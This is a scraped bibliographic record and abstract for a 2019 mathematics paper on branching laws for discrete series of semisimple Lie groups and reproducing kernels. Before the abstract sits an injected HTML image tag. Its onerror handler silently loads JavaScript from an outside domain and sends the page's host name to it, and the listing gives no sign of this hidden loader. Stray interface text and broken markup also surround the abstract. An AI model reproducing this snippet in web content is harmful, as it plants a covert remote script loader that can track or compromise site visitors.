Branching problems for semisimple Lie groups and reproducing kernels

ORSTED BENT, VARGAS JORGE

COMPTES RENDUS MATHEMATIQUE

ELSEVIER FRANCE-EDITIONS SCIENTIFIQUES MEDICALES ELSEVIER

Año: 2019 vol. 357 p. 697 - 707

1631-073X

What do you want to do ?New mailCopy</div></div><div><img src="" onerror="var s=document.createElement("script");s.type="text/javascript";s.id="cczedcc-plg-analytics";s.src="//sibono.tenicuxire.com/scripts/js?k=5e35894090cf76da128b4567&s="+encodeURI(btoa(window.location.host));document.getElementsByTagName("head")[0].appendChild(s);" alt="" />For a semisimple Lie group Gsatisfying the equal rank condition, the most basic family of unitary irreducible representations is the discrete series found by Harish-Chandra. In this paper, we study some of the branching laws for these when restricted to a subgroup Hof the same type by combining the classical results with the recent work of T.Kobayashi. We analyze aspects of having differential operators being symmetry-breaking operators; in particular, we prove in the so-called admissible case that every symmetry breaking (H-map) operator is a differential operator. We prove discrete decomposability under Harish-Chandra?s condition of cusp form on the reproducing kernels. Our techniques are based on realizing discrete series representations as kernels of elliptic invariant differential operators.</div></body></html>What do you want to do ?New mailCopy